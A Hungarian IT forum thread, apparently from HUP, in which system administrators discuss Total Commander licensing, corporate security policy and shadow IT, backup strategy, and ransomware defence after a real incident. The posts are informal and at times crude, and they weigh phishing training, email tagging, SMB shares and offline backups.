Az lehet a baj, hogy nem DOS-on nevelkedtél, ott ilyen grafikus baszás nem volt, ott rendes emberek előbb-utóbb rátaláltak a Volkov Commanderre. Az volt a non plus ultra. Na aki ilyen háttérrel jön, annak nem kell TC, annak Far Manager kell. Már persze ha Windowson kell szopkodni...
Mi a probléma vele? Egyszeri költség a cég életében..
Q: What is the price of a multi-user-licence?
A: You can see the exact pricing on our order form. You find it in the help of Total Commander and on our homepage in the order section. Here are some examples how you calculate the total amount:
Licence for 5 users: 40.-+4x20.- = CHF 120.-
Licence for 10 users: 40.-+9x20.- = CHF 220.-
Licence for 15 users: 40.-+9x20.-+5x15.- = CHF 295.-
Licence for 25 users: 40.-+9x20.-+15x15.- = CHF 445.-
Licence for 50 users: 40.-+9x20.-+15x15.-+25x12.- = CHF 745.-
Licence for 100 users: 40.-+9x20.-+15x15.-+75x12.- = CHF 1345.-
Licence for 250 users: 40.-+9x20.-+15x15.-+75x12.-+150x8.- = CHF 2545.-
Q: How do I calculate the number of licences I need?
A: Total Commander licences are floating licences, also called "concurrent use": At a given time, for each purchased licence, one person may work with Total Commander on any number of computers, even simultaneously. If, for example, 10 employees run Total Commander on 20 computers (PC/laptop) at the same time, a 10-user licence is needed. An accurate detection is not necessary. Just estimate the maximum number of people using Total Commander at the same time (it's OK if this gets exceed for a short period of time).
"mert a céges gépen a céges szeku poliszi nem engedi feltelepíteni azokat a toolokat, amikkel az ember a napi munkáját kellene végezze. " - ez gondolom a vezető felé, illetve az ő főnöke felé jelzett/eszkalált probléma? Mert a "nem megy, lesz@rom, megoldom okosba'" az addig nem gond, amíg nincs gond. Utána meg lehet beleülni a vazelines vödörbe (hogy a következő "élmény" kevésbé fájjon...)
Egyébként meg ilyenkor el kell engedni az eszközt és elfogadni, hogy onnantól kezdve sajtreszelő van - és ennek megfelelő mértékben szerzed az örömöt a másik félnek is (ennek megfelelően esik vissza a teljesítményed...)
Háttőő... eszkaláció... szintén multi, közepesen nagy, eléggé balfasz account. 2-3 éven át, kb. havonta eszkalált probléma, kb. olyan szintű, hogy dízelbe nem javasolt benzint tankolni, nem értik, mert eddig benzint tankoltunk és jó volt. Majd - úgy 2-3 év után - egy meetingen: de hát ez akkor így nem jó! Igen baszki, ezt mondjuk évek óta. Jaaa....
De ugyanitt volt olyan is hogy: Nem húznál ki a listáról? De. Köszi. Szivi.
Alapvetően nincs ezzel gond, hogy leráznak. Pusztán mások a célok szintenként - mást akar az üzlet, mást a compliance, mást az üzemeltető stb. A szálak meg időnként összeérnek. Ilyenkor indul rá projekt, amiről az üzemeltetés már hónapok/évek óta beszél. Csak senkinek nem érte el az ingerküszöbét. Addig.
Nekem is volt már hasonló szituációm globál multinál. Általában elég gyorsan sikerült eszkalálnom a helyzetet - tudom, mázlista vagyok. Habár az is egy érdekes ügyfél volt. Én azért is eszkaláltam, mert a VSP (védd a segged papírral) és az MVP (más valaki problémája) fontos elvek számomra. Ha megvan minden írásban és erről a főnököm / főnökeim is tudnak, akkor én nem fogok ezek után nyugtalanul aludni, mert pl: XY országban leáll a töketlenség miatt a vasút, repülés, bankok stb.
"Ha megvan minden írásban és erről a főnököm / főnökeim is tudnak, akkor én nem fogok ezek után nyugtalanul aludni, mert pl: XY országban leáll a töketlenség miatt a vasút, repülés, bankok stb."
Ha ilyen helyzet áll elő (leáll ez-meg az) _és_ nem engem fognak hajnal kettőkor telefonon felébreszteni, hogy dől a sz@r, és oldjam meg, akkor én is nyugodtan tudok aludni :-)
Ha nem voltam készenlétben / ügyeletben:
- Alkalmazottként ilyenkor felmutatom az írásos bizonyítékokat. Zargassanak mást.
- Vállalkozóként meg olyan óradíjat adtam meg, hogy még a kedvük is elment tőle, hogy egyáltalán felébresszenek. :)
Minden csak addig fontos az ügyfélnek, amíg nem kerül pénzbe, nem kell rá költeni. Csak amikor például 1 darab levelezőszerver hardverére sokallják az 1-2 mFt-t úgy, hogy a teljes cég üzleti folyamata azon alapul... Aztán ha "ég a ház", akkor a hajnali 2 ráér reggel 8-9-ig is, amikor a cégvezetéssel ordítozások, asztalcsapkodások, eszmecserék, feljegyzések, eltérés jelentések, risk letter-k (cégkultúrától függően persze) közepette átbeszélhetjük a témát.
Egyébként meg ITIL és change rollback plan, DRP, BCP. Mert megfigyeléseim alapján a legnagyobb gubancok szinte mindig change hatására keletkeznek (90%).
Anno volt olyan munkahelyem, ahol belépés után az első adandó alkalommal átzavartak a szomszédba ;) ITIL foundation tanfolyamra (+vizsga). És a change management folyamatábrában a "qrvasürgős" ágon is ott volt, hogy legyen rollback plan, vagy legalább gondoljunk rá :-) Sajnos nem minden change esetén van lehetőség rollback-re - akkor persze az előrefelé menekülést kell alaposan kidolgozni, és előkészíteni...
Csak röviden: volt olyan, hogy közeli kolléga change-t azért kaszáltam el / nem approve-oltam, mert a rollback plan kidolgozatlan volt. Később volt, hogy közöltem a vezetőkkel, hogy ezt így ÉN nem hagyom jóvá. Más jóváhagyhatja a csapatból, de én senki után nem oltok tüzet. Volt egy kis kardcsörtetés, de mindenki megértette végül, hogy miért nem fogok egy 2 mondatos rollback plant jóváhagyni.
A főnöködnek nincs szava az ITszeku felé, de még 1-el fölötte levőnek sem. Tudod ezek a multik ilyen silókban működnek. Ahol senki nem beszél a másik silóban élőkkel, senki nem igazán tart a másik silóban ülő hasonló faszméretű vezetőtől vice versa. Mivel pedig a fönökeidnek nem fáj közvetlenül, így itt meg is szakad a végrehajtási folyamat, maradsz "egyedül" a problémáddal. Évekig. A főnökséget amúgy pont nem érdekli a legalsó szintű melós semmilyen fájdalma. De a munka legyen készen! Időben, vagy még annál is hamarabb. Az irodába meg vissza kell menni. De a privát gépedet nehogy rádugd az irodai hálóra, mert azonnal jön az alarm!
"De a munka legyen készen! Időben, vagy még annál is hamarabb. " - ha egyszer készen lesz, akkor jogosan várja el n+1. alkalommal is, hogy készen legyen.
Ha nincs lehetőség a megfelelő eszköz használatára, akkor könyveljék el, hogy az adott feladat n-szer annyi időt vesz igénybe, ergo legalább n-szer annyiba kerül.
"De a privát gépedet nehogy rádugd az irodai hálóra" - így van, így helyes - a privát, a céges üzemeltetés által nem ismert eszköznek semmi keresnivalója nincs közvetlenül a céges hálózaton. Sőt, szigorúan véve még VPN-en sem.
Szerintem az itsec legalapvetőbb axiómája, hogy a user mindig a legkisebb ellenállás felé fog menni. Aki ezt nem érti, az nem lehet sikeres ebben a szakmában.
A vazelines vödör, amit elképzelsz, valójában nem létezik, néha egy-egy szerencsétlenen példát statuálnak, de a shadow IT ettől még továbbra is ugyanúgy él és virul a szervezetben. Persze lehetne olyan policy-t kialakítani, olyan eszközökkel, ami nem teszi pokollá a user mindennapjait, de ehhez már szakértelem kell, meg befektetett pénz és energia.
Ez egy jó lépés a megfelelő irányba. De nem 100%-os. Valójában, pl. a Barracuda Backup (ami egy linuxos appliance, ami vCenter szinten ment virtuális gépeket + agent-en keresztül fájlokat, MS SQL DB-ket és Exchange-et) - tehát valamivel biztonságosabb - gyártója is azt ajánlja, hogy 3-2-1 elv alapján ments.
Barracuda Backup recommends that you follow the 3-2-1 rule to create a successful data protection and disaster recovery plan:
3: You must have at least 3 copies of your data: the original production data and 2 backups.
2: You must use at least 2 different types of media to store the copies of your data, for example, the local Barracuda Backup device and cloud storage.
1: You must keep at least 1 backup offsite, for example, in the cloud or in a remote site.
Anno a rendszergazda világnapon amikor mondtad hogy "majd egyszer megértem hogy miért jobb a szalagos dat kazetta mentés félrerakva mint a NAS-os mentés"
Nem vitatom a 3-2-1 elvet (sőt), de lássuk be, hogy ez önmagában nem elégséges feltétel a zsaroló vírus ellen, többek között azért, mert a visszatartás idejéről, gyakoriságról és a mentések védelméről semmit nem mond. Sokra megy azzal valaki, ha 3 példányban vannak titkosítva az adatai. Nem ismerem a konkrét esetet, de akár itt is előfordulhatott.
Ráadásul a szalag megy ki a divatból (drága/körülményes), illetve azt is lehet rosszul kezelni. Azt pedig nem értem, hogy miért kellene 2 különböző típusú adathordozó, leginkább a szabály hangzatosságát növeli (a mondaton belül említett példa sem feltétlenül különböző típusú adathordozó). 2 példányban is lehet elegendően jó mentést készíteni, ha kellően távol vannak és egyéb követelményeknek is megfelel (pl. visszaállítási idő).
Zsaroló vírus szempontból sokkal többet ér a kolléga által említett biztonságos zóna elv (tűz esetén nyilván nem sokat ér önmagában, ha minden egy telephelyen - volt), ami nyilván naponta páncélba rakott szalagot is jelenthet.
Ez most megint egy olyan eset, ami igazolja azt az alapvetést, miszerint az informatika addig viszonylag könnyű, amíg működik. A minőség akkor mutatkozik meg, ha gebasz van: mekkora eséllyel van gebasz, ha mégis bekövetkezik, akkor mennyire nehéz kimászni (RPO/RTO értékek teljesülése... itt gyaníthatóan köszönő viszonyban sem lesz sem a tervezett a megvalósult értéktől).
Mindenesetre kíváncsi lennék az informatika és üzlet közötti kommunikációra az eset után. Gyanítom, hogy sok tanulságot hordozhat mind a szakma, mind az üzlet számára.
Nagyon kemény helyzet, sok erőt kívánok a feleknek, érintettségtől/felelősségtől függetlenül.
Most ki fogja a Borg backupomat elvinni amit hetente egyszer usbn feldugok a gépre? Ha szigorúan a ransomware vonalat nézzük, akkor jobb esetben btrfs snapshot visszamásol és jó napot. Ha az nincs , akkor ott van a helyi backup server (ami pullol úgyhogy nem fogja felnyomni, a titkosított cucc max megeszi rajta a helyet, azért az baromi látványos ha az inkrementális backup hirtelen meghízik). Ha azt is felnyomják még ott a szekrénybe az usbs cucc.A havi 250kba ennyi fért bele, meg a word ikon asztalra helyezése (ez egy fontos rendszergazdai feladat ;))
Ha el is viszik, na akkor van gáz. Igazából akkor sincs elmegyek valahova ahol fizetnek is a szopásért. ;)
Mindenesetre kíváncsi lennék az informatika és üzlet közötti kommunikációra az eset után. Gyanítom, hogy sok tanulságot hordozhat mind a szakma, mind az üzlet számára.
Esélyes, hogy sosem fog kiderülni részleteiben, hogy mi történt. A Unix-os (autó alkatrész kereskedő) fakap-ról felrakta Zombori a saját verzióját, ezt mondjuk érdemes lehet végigpörgetni:
Persze az ilyeneket mindig kétkedéssel kell olvasni, és gondolni rá h. cégtulajdonosként imitt-amott nem-e színezte ki a történteket a dramaturgia kedvéért. Illetve a technikai mélysége nem olyan komoly az írásnak, hogy abból egy másik cég üzemeltetője konkrét megoldásokat el tudjon lesni, nagyon általánosra lettek véve ezek a részek.
Ui. Dúrva h. először azt írtam le, hogy Unix-os nemrég történt fakap. Aztán mikor rákerestem, kiderült h. 2021 márc 30-n volt. Majdnem 2 éve! Repül az idő...
Köszi a linket. Szerintem ezt a helyzetet nem lehet túlszínezni ("ezt még a konkurenseimnek sem kívánom"). Leginkább a támadás előkészítettsége ijesztő.
Eleg gyorsan lerendezte a human faktort, mikor latszik, hogy itt is azzal jutottak be (banki levelnek alcazott stb email). Gondolom a dolgozok 0 kepzest kaptak ezugyben.
A képzés hatékonysága erősen humánfaktor függő, elmondhatom nekik százszor, hogy emailben nem szólítunk fel senkit jelszóváltoztatásra, mindig akad olyan aki ennek ellenére kattint és megadja a jelszavát mert az jó. Ezeket nem szabadna számítógép közelébe se engedni.
Nagyon erősen megtévesztő levelek is vannak. Nehéz meghúzni olyan határt, hogy kit nem szabadna email közelébe engedni (email = lyuk a tűzfalon), egy jobb versenyző részéről is elegendő egy apró sietős figyelmetlenség vagy rosszabb nap.
Én komoly problémának gondolom, hogy több levelező is elrejti például a feladó címét. Ez nem segíti a tudatos/figyelmes levelezést.
A "Külső" "External" email tagelés divat lett a nagyoknál, viszont például nem találtam olyan fejlécet, amit meg tudok adni az emailben, és akár a Thunderbird, akár az Outlook komolyan vegye. Az más kérdés, hogy ez meg szimulálható lesz. :)
E mellé talán Office365-ben láttam biztonságos linkelést, ami legalább rákérdez klikkelés előtt, hogy akarod-e a "verybigransomwarez.ritkatld"-s cuccot megnyitni, és talán valami további mechanizmus is be van mögé építve.
Ez a fejléc jelölés ötlet nagyon tetszik. A komolyan vétellel sincs feltétlenül probléma, ha átvételkor kidobod azt a bizonyos fejlécet, majd később rárakod. Így biztos lehetsz benne, hogy úgy van kitöltve, ahogy Te akarod.
Thunderbirdbe és Outlookban is lehet elvileg olyan üzenetszűrőt/szabályt definiálni, ami megjelöl/kategorizál leveleket fejléc alapján, a jelölés alapján pedig színez.
Pl. X-Message-Sender-Type: internal|partner|risky|other
El szoktam azon gondolkozni, hogy vajon miért nem elég egy sima user+jelszó a fizikai világunkban a lakásba való bejutáshoz? Miért használunk egyedi fizikai kulcsot holmi 6 jegyű kód helyett?
És az internet túloldalán levő adatvagyonhoz miért nem akarunk használni ugyanúgy egy másolhatatlan hardver kulcsot?
Egy jó ideje van nekik SSL kliens tanúsítványuk, úgyhogy igazából ha megadják a jelszót sincs baj (amiről meg nem tudnak, hogy van nekik nem tudják megadni ;)).
Csak az apple fan vezetőséggel nehéz megértetni, hogy arról én nem tehetek, hogy az ipari hulladék telefonjuk 2023-ban sem képes kliens tanúsítványt kezelni. ;)
"az ipari hulladék telefonjuk 2023-ban sem képes kliens tanúsítványt kezelni" - Mármint a böngésző. Mert Exchange szervert https-en elérő levelező/naptár/miegyéb kliens megy kliens certtel.
Exchange. Van neki IMAP, de az Android-os "Exchange" fiók nem azt használja, úgyhogy nincs keveredés: https-en a 443-as portra csattan be a Gmail app, és szépen, API-n keresztül dolgozik: levelek, naptár, ingyombingyom minden is :-) Ott meg közbeékelődve egy kliens cert alapú szűrés van, amit természetesen tud kezelni az Android-os gmail alkalmazás. A hájpfón esetén sajnos csak valami fizetős szutyokkal működik, de akinek olyanra van ingerenciája, az így járt...
Azért a rendszeren és a policy-kon is múlik. Pl. ha minden kintről jövő levél tetejébe beleeditálja, hogy "Ez egy külső email. Nem a cég küldte, ha olyan link van benne, ami a céges usernevedet/jelszavadat kéri, akkor ne add meg. Ha futtathatóra linkel, ne indítsd el, olyat mi különben sem küldünk." Ezen kívül persze van éves IT-Security kötelező képzés, nem nagyon hosszú (1/4 ... 1/2 óra), nem nagyon nehezek a kérdések a végén, de az benne van, hogy "Ki felel jogilag a következményekért, ha megsérted a policyt, és baj lesz belőle? A-én, B-én, C-naná, hogy én."
Ezt köszi. Nagyon átérzem azt, milyen küzdeni a reménytelennel, de irigylem őket, hogy csak pár napig tartott ez az izgalom. Nekem a legdurvább egy 5 éves per volt, amire cégestül mindenem rámehetett volna. Végén megnyertem, de nem volt öröm mindennap bemenni így dolgozni, hogy nem tudom meddig tehetem ezt meg. Megküzdési stratégiámat váltogattam. Volt amikor nem vettem a problémáról a tudomást, volt amikor eltereltem a figyelmemet, pl folyamatosan üvöltő zene mellett dolgoztam, mint egy szórakozóhelyen egy hétvégi estén olyan volt az irodám (szobám). Amióta vége lett ennek (2012), csak néma csendben dolgozom, mindent magamra csukok, hogy maximális nyugalmat éljek meg.
Zombori tökös volt. Én is így tettem volna. Nem érdekelt volna melyik az olcsóbb megoldás. Nincs csicskulás.
Én bárhogy bogarászom a betűket, a többi intézkedésre való utalást nem látom benne. Ennek az is lehet az oka, hogy ez a 3-2-1 szabály bőven a zsaroló vírusok előtti korszakból való, a naív informatika korából. A hivatkozott linken is a telephelyen kívüli mentés szerepel, ami más szempont, mint a zsaroló vírusok (zsaroló vírussal manapság hamarabb összefut az ember, mint telephelyet megsemmisítő katasztrófával).
Van neki más (security terméke), ott le vannak írva. Nyilván, csak azok, amik arra a termékcsoportra vonatkoznak.
<mellékszál>Az IT security millió területből áll, egy élet kevés csak ahhoz, hogy te érts csak ahhoz. Ha pedig mellette mással is kell foglalkoznod, akkor nem is fogsz hozzá rendesen érteni. Éppen ezért, én sem állítom, hogy értek hozzá. Átlag rendszergazdánál jobban, de egy szakértőhöz képest kevesebbet. Ennélfogva nem is vállalom a felelősségét a rám lőcsölt IT sec. területnek. Csinálom a legjobb tudomásom szerint, de ott van mellette a discalimer, hogy ha jól szeretnétek csinálni, vegyetek fel erre egy IT sec. szakembert.</mellékszál vége>
Vagyis a Barracuda sem fog téged kioktatni a mentési rendszereinél az IT sec egyéb területeiről. A backup téma csak érintőlegesen kapcsolódik az IT sec-hez.
A 3-2-1-et valóban a replikációs funkció alapján hozta elő a gyártó, de te a kollégára kontráztál rá a 3-2-1-gyel, holott ő sem törekedett teljes mentési elv felvázolására, hanem a jelen esetben releváns szempontra. Így erősen félreérthető, hogy mit is akartál mondani a 3-2-1-gyel.
Én sem értek mindenhez, ha ügyfél megkérdezi, hogy minden rendben van, azt mondom neki kérjen auditot független féltől. Nem állítom, hogy minden tökéletes lesz, de annyira azért bízom magamban, hogy katasztrofális eredmény nem várható, tanulhatok belőle és legalább lesz egy független vélemény, hogy mire kellene még költeni (ami nekem akár jó is lehet).
Miért, te hogy csinálod? Csinálsz valamit és elmondod, hogy valószínűleg nem lesz jó, amit csináltál?
Ezért jó és kell az audit. Volt már benne részem, nem állítom, hogy semmit nem találtak, de olyan nem volt, ami alapokat rengetne meg. Az audit egyrészt valós problémákat fel tud tárni (persze kevésbé valósakat is, a papír sok mindent elbír, az auditorok szeretnek minél többet leírni adott környezettől függetlenül, de ez így van jól), másrészt a terhet+felelősséget is csökkenti (ezt értsd úgy, hogy megerősíti a helyzetet, elképzelést).
Én úgy csinálom, hogy elmondom, hogy hogyan kellene, leírom, hogy azt mennyiből lehetne megoldani.
Kapok rá valami büdzsét (100-ból 99-szer sokkal kevesebbet), abból megcsinálom, ahogy lehet, aztán megy a papír, hogy az ügyfél által biztosított költségvetés miatt lett műszakilag gyengébb a műsor, ezek meg ezek a rizikók, ami az ügyfelet terhelik. Szépen aláírja, egyik példány az övé, másik az enyém. Utána meg magára vessen.
Jó ez az auditorokkal dobálózás, csak az a tapasztalat, hogy ahol a projektre se szánnak eleget, ott nem fognak kifizetni milliókat egy auditorra, hogy az leírja nekik, hogy még mennyi milliót kellene a rendszerre költeniük, hiszen ők is pontosan tudják, hogy nem költenek rá eleget :D
Igen, ezt én is így szoktam, van a), b) netán c) verzió előnyökkel/hátrányokkal/kockázatokkal/költségekkel, ő pedig rábök.
A probléma nem azzal van/lehet, amit leírsz, hanem amit nem, mert nem gondoltál rá, avagy "Ezzel a legtöbb ember így van, egészen addig, amíg egyszer be nem üt a baj.".
Egyetértek, az auditot nem az fogja kérni, aki eleve rendesen lekaszabolja a költségvetést, de ez egy ugyanolyan opció, mint például a telephelyen kívüli mentés vagy redundáns tároló, csak más jellegű. Mint a rizsa tantárgyak anno az iskolában, amikről később kiderül, hogy annyira nem is volt hülyeség.
Ha erre van kihegyezve az ügymenet, akkor szerintem kapút.
Én nem küldenék el senkit. Aki ebből tanul, az biztosan megtartandó nálam. Egy szarba általában egyszer szoktak belelépni normálisék, szóval hacsak valaki nem élvezetből fröcsögteti a fost páros lábbal.
^^ Mindez amit írtam kb. hatástalan és értelmetlen, ha nincs alternatív visszaállítási pont sem. Mert akkor (már) nincs, aki megtartson valakit.
Semmi értelme kirúgni az üzemeltetést, csak rosszabb lesz minden az új emberekkel, akiknek fingjuk sincs a rendszerről. Aki így dönt, sose látott üzemeltetést közelről.
ITIL szerint nem a szolgáltatásüzemeltetés fázisában kell hogy menjen az okoskodás, hanem a szolgáltatástervezés fázisában kell ezeket megálmodni az "information security management" cimke alatt.
A probléma, hogy a szolgáltatástervezés során erre semmi nem születik, aztán a szolgáltatásüzemeltetés fázisában megy az ad-hoc tákolás. Ráadásul ismeretlen adathalmazzal és ismeretlen use-case mentén vaktában lövöldözve.
"Miért? Csak (automatizált) reinstall és visszaállítás backup-ból. Ha valami megakad, megnézik a dokumentációt. ;)"
Lehet, hogy a ransomware megette a ransomware okozta károk esetére alkalmazandó DRP dokumentációt, és most mindenki vakarja a fejét, hogy hogy is volt? :-)
Nincs azzal probléma. A ransomware az olyan műfaj, hogy csak a legélhetetlenebbek szopják csak be. Én még anno Windowson se kaptam be sose ilyesmit, annak ellenére, hogy mentésem volt akkor is. Azóta Linuxon sem volt ilyen.
“The world runs on Excel spreadsheets.” (Dylan Beattie)
Ez addig működik amíg nincsenek felhasználóid. Nálunk kétszer is előfordult mondjuk még a locky időben, az egyik valami magán emailt kapott és hajtotta a kíváncsiság, letitkosította a saját gépét (megosztásokhoz nem fért hozzá). A másik letöltötte nem csinált semmit átküldte a kolléganőjének hátha ott megnyílik, megnyílt ;) Ők a saját megosztásukat is eltitkosították.
Ezzel én óvatosabban bánnék. Inkább úgy fogalmaznék, hogy sokszorosan nagyobb eséllyel szopják be.
Régen azt hittem, hogy lehet feltörhetetlen rendszert csinálni. Sajnos tévedés. A teljes rendszert nézve csak erőteljesen nehezítettet lehet.
Tudtad azt, hogy még Los Alamosnál az atombomba kifejlesztésének idején ugyan duplán bekerített szupertitkos objektum volt, mégsem tudták megakadályozni a "konkurencia" irányába történő információáramlást?
Tudom gúny, de nem kell tapsolni. Semmi érdem nincs benne, szerinte itt a HUP-on is elég sok ember van, aki sose kapott még be ilyesmit. Tényleg csak annyi a titka, hogy nem baromarc módjára kell használni a rendszert, meg mindenféle szutyok fájlt nyitogatni, és mindent SMB-ről felcsatolni. Tényleg nem kell hozzá komoly informatikai diploma.
Igazból a ransomware-ek nagy részét kivédené, ha az egész iparág összefogna, és csinálnának egy univerzális fálmegosztó protokollt, és OS-től függetlenül használná mindenki azt, ezt a szutyok Sambát meg szanálnák már, régóta az egyik legnagyobb biztonsági kockázat. Az NFS nem az, de azt meg beállítani bonyás, meg sokan idegenkednek tőle, főleg windowsosok. Azért kéne egy korszerű, biztonságos megoldás, ami mögé mindenki beáll. Addig maradni fog a sambás gányolás, és kapják be sorra a ransomware-eket, ami így nem fog kímélni semmit, mert ahogy SMB-n látja a felcsatolást, onnantól bedarálja, és nem érdekli, hogy esetleg az SMB mögött egy linuxos vagy BSD-s szerver van, ami alapból nem lenne fertőzhető, de a megosztott fájlokhoz mégis beállítási hiba miatt teljes hozzáférést engednek, és be lehet darálni rajta mindent.
“The world runs on Excel spreadsheets.” (Dylan Beattie)
Sajnos nem az smb a ransomware-k elsődleges okozója, hanem az user figyelmetlensége. Van az smb-vel is gond, de nem oldana meg a cseréje semmit. A titkosító szutykok többsége nem is vírus. Egy program a mi titkosít, mint jó sok másik amit használunk rendszeresen. Hab a tortán, hogy ezeket is képesek használni a kártékony kódok. Én mostanában a Heimdal Security ransomware védelmét használom (elég nagy megelégedéssel) és már a sokadik vackot fogja meg élesben ami a 7zip-et használta volna a titkosításra. Na ha pl a 7zip whitelist-en van akkor kész a szívás, ha telepítve van, paraméterezve meghívja és szevasz.
Nincs jó megoldás, csak a viselkedésminták elemzése, de az sem 100-as.
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
Részben az SMB. Nyilván arról nem tehet az Samba, hogy a user a lokális rendszerét darálja be egy ransomware-rel (bár ez részben megint megelőzhető megfelelő jogosultságkiosztással). De az ellen véd, hogy ami megosztásban fel van csatolva, az ne menjen vele a levesbe. Igazából ez ellen az is védene, ha a Sambát jól állítanák be, pl. a usernek alapból csak le/feltöltési joga legyen a megosztásba, de törölni, felülírni ne tudjon, ezzel már a ransomware nem tudna működni, legalábbis ilyen felcsatolt szerverekhez nem férne hozzá, mint most történt a CHS esetében.
Ezt a Heimdalt-t nem ismerem, de megfelelő lehet, ha ténylegesen megfogja a gonosz dolgokat. 7-zip-nél meg lehetne csinálni, hogy a binárist átnevezni, így használható is, de a malware-ek ne találják meg.
“The world runs on Excel spreadsheets.” (Dylan Beattie)
Sajnos ahhoz, hogy dolgozzon a felhasználó kell neki írás jog és máris megy minden a levesbe amit használ. A megosztás meg azért van, hogy többen is tudjanak dolgozni ugyan azon és akkor annak is annyi. Nem is kell törölni, elég felülírni a tartalmat. Ez ellen nem véd semmi csak a mentés, abból is az offline, mert a profi zsarolók, a mentés teszik tönkre először, már ha tudják. A zsaroló programok már arra is fel vannak készítve, hogy verziózó mentés van a megosztáson. Elkezdik kipörgetni, és annak annyi. Ha jól rémlik a google-drive is csak 30 verziót őriz meg. Két pillanat és vége, mert 50-szer módosítasz. Erre a válasz, pl a NextCloud verziózásban, hogy naponta csak korlátozott változást ment, és hagy napi, meg heti verziókat. Jó móka ez az adok-kapok...
A 7zip átnevezés elvileg működik (kivéve, ha letölti magának a támadó), de ne magadból indulj ki, meg a saját gépedből, hanem mondjuk van 500 géped és még a felhasználókat is meg kéne tanítani a "trükkre" meg folyamatosan frissíteni a programot, úgy hogy nem is túl jó megoldás. Gyakorlatban ez nem megy.
Mondjuk a Heimdal erre is ad megoldást, megadhatod hash alapján, hogy mi indulhat el (ezzel bukta az átnevezgetés a felhasználó és a rosszindulatú kód részéről), mást meg nem enged futni, illetve jóvá kell hagynia az adminnak. Ezzel a módszerrel a ransomware el sem tud indulni. Nagyon komoly. Ez már nem vírusvédelem, hanem egy új generációs komplex biztonsági rendszer, de ára is van, meg persze adminisztrációs munka vele. Én profibb cuccot nem ismerek ezen a területen.
Senkinek nincs köze világod belsejéhez, neked sincs közöd mások életéhez, csak az Irgalom útján van közöd, Istenektől rendelt kötelességed.
"Sajnos ahhoz, hogy dolgozzon a felhasználó kell neki írás jog és máris megy minden a levesbe amit használ." a dedup és a csilliárd TB-os tárolók korában a fájlok mentésenkénti verziózása (azaz a mentés valójában az előző full állapothoz képesti diff) nem lenne olyan extrtém űrtechnológia. Oké, egy blokkonként titkosító és mentő ransomware esetén elfogyna a tárhely. A normál működés során valamennyi állapot olvasható, de írni csak a legutóbbi+1 verzióba lehetne. DB esetén ezt kéne cifrázni/cizellálni, de egy garantáltan sértetlen állapotra ott is vissza lehetne ilyen módon állni.
Nem tudom, hogyan képzelnéd el (kis-közép-nagy-) vállalti környezetben a munkát a megosztások kinyírása mellett... Az nagyon nem életszerű, hogy a felhasználó ne tudjon módosítani tartalmat. Akkor hogyan dolgozik?
Mindenki dolgozzon a saját gépén, és mentegessük munkaállomások százait adott esetben? Ha többeknek kell egy anyag, dobja át e-mail-ben?
Mennyivel lenne jobb egy HTTPS alapú megosztás (feltalálni sem kell, pl. WebDAV), amihez pont ugyan úgy megszerezhető a user/pass, mint SMB-hez, ha valaki kikeresi a sérülékenységet vagy social engineering módszerekkel megtudja a felhasználótól? Pontosan mennyivel is lenne jobb bármilyen más megosztási forma akkor?
Persze az SMB nem hibátlan. Ahogy az összes többi sem. A módszer viszont akkor sem a megosztás megszűntetése, hanem a felhasználók képzése (ez sajna hosszútávú és koránt sem ad 100% védelmet semennyi idő után), plusz a nagyon jól kitalált és megvalósított mentés. Meg persze az egyéb megelőzés vírus- és egyéb védelemmel, minden használatos csatornán a megfelelő szűréssel (amit az adott szervezet anyagilag meg tud engedni magának).
A biztonság egészen a használhatatlanságig fokozható - meg kell találni az egyensúlyt a biztonság és a használhatóság/kényelem között. Nem egy s nem két helyen pl. minden normál user egy terminálszerver-farmra lép be, ahol csak és kizárólag a munkavégzéshez szükséges (és jóváhagyott) alkalmazások futtatására van lehetőség. Bónuszként az rdp-session "az utolsó bitig" naplózva/mentve van. Sőt akinek nem kell más, annak csak a drawing van megengedve, vágólap, eszközök (nyomtató, smartcard, usb, stb.) nincs.
Igen, ez tény. A biztonság nagyjából mindig nehezítéssel jár. És valóban, van az a pont, amikor a biztonság használhatatlanná tesz valamit, de az ugye egy produktív szervezetnél sem cél, vagy ha elérték, akkor általában gyorsan visszacsinálják...
A terminál szerveres használat valóban előrelépés ilyen téren. Nálunk is van olyan ügyfél, aki HO-t nem enged csak úgy, hanem VPN-en RDP-zni lehet és kész, nincs otthoni géppel hálózaton matatás.
Meg persze olyan is van, akinek csak azért van terminál szerver, mert a rosszul megírt (megtervezett) szoftver hálózaton kliens/szerver üzemben futtatva használhatatlanul lassú :-D
De itt arról volt szó, hogy klasszikus Windows AD környezetben, hálózati megosztásokat korlátoznánk úgy, hogy gyakorlatilag használhatatlanná válna eredeti feladatára. A munka nehezítése biztonság okán, meg a munka lehetetlenné tétele biztonság emelésére nem ugyan az. Én azért szólaltam fel, hogy jellemzően nem egy protokollban vagy egy felhasználási módban van a hiba, ami lehetővé teszi a sok ransomware terjedését és visszafordíthatatlan károkozását.
Mennyivel lenne jobb egy HTTPS alapú megosztás (feltalálni sem kell, pl. WebDAV),
Annyiban, hogy triviálisabb viselkedés-alapú monitorozást végezni vele, mint SMB-vel, integrálni tudsz MFA-t, valamint maga a kliens is azonosítható. Hiába van credential-öd, ha a ransomware http kliensét visszadobja a szerver.
Hát ez nézőpont kérdése. Az alapvetően hibás security koncepciók kiirtása pl. elég jó megoldás. Csak sajnos bizonyos gyártók telibeszarják a jó koncepciókat, és úton-útfélen ragaszkodnak a régi fostos mániáikhoz (pl. extension alapján döntjük el, hogy mivel kell valamit megnyit, DE az extensiont jól eldugjuk a user elől, NEHOGY észlelni tudja, ha gáz van, mert szerintünk ez így biztonságos, és a felhasználók ezt akarják, hogy ne is tudhassák, mikor basznak rá).
@ gyuri23: Heimdal Security ransomware-t picit részleteznéd:
mekkora környezetben (kliensen és / vagy szerveren fut), valamilyen vírusirtó mellett használod, mennyi a vakriasztása, erőforrásigénye?
Nem értem, ha ilyen jól tudod menedzselni a desktop géped, nem akarsz sok pénzt keresni, és ugyanilyen faszán megvédeni egy multis hálózatot, amiben van vagy 60-80 ezer desktop, ugyanennyi userrel, és feleannyi szerverrel?
Ugye azt tudjuk, hogy a zsarolóvírus nem csak úgy indul, hogy Mancika rákattint kettőt az emailben kapott ISO/img filera ;) Én már láttam titkosítva Windows Servert nyitott rdpvel amin nem volt kattintgatós Mancika :)
Az mennyire igaz hogy a ransomware jellemzően a windowsos infrastruktúrát támadja?
Ha van egy jó kis inkrementális mentésem a felhőbe akkor tulképpen csak úgy tudnak kicseszni velem ha megkeresik a felhős kulcsot és annak használatával kitörlik a mentést.
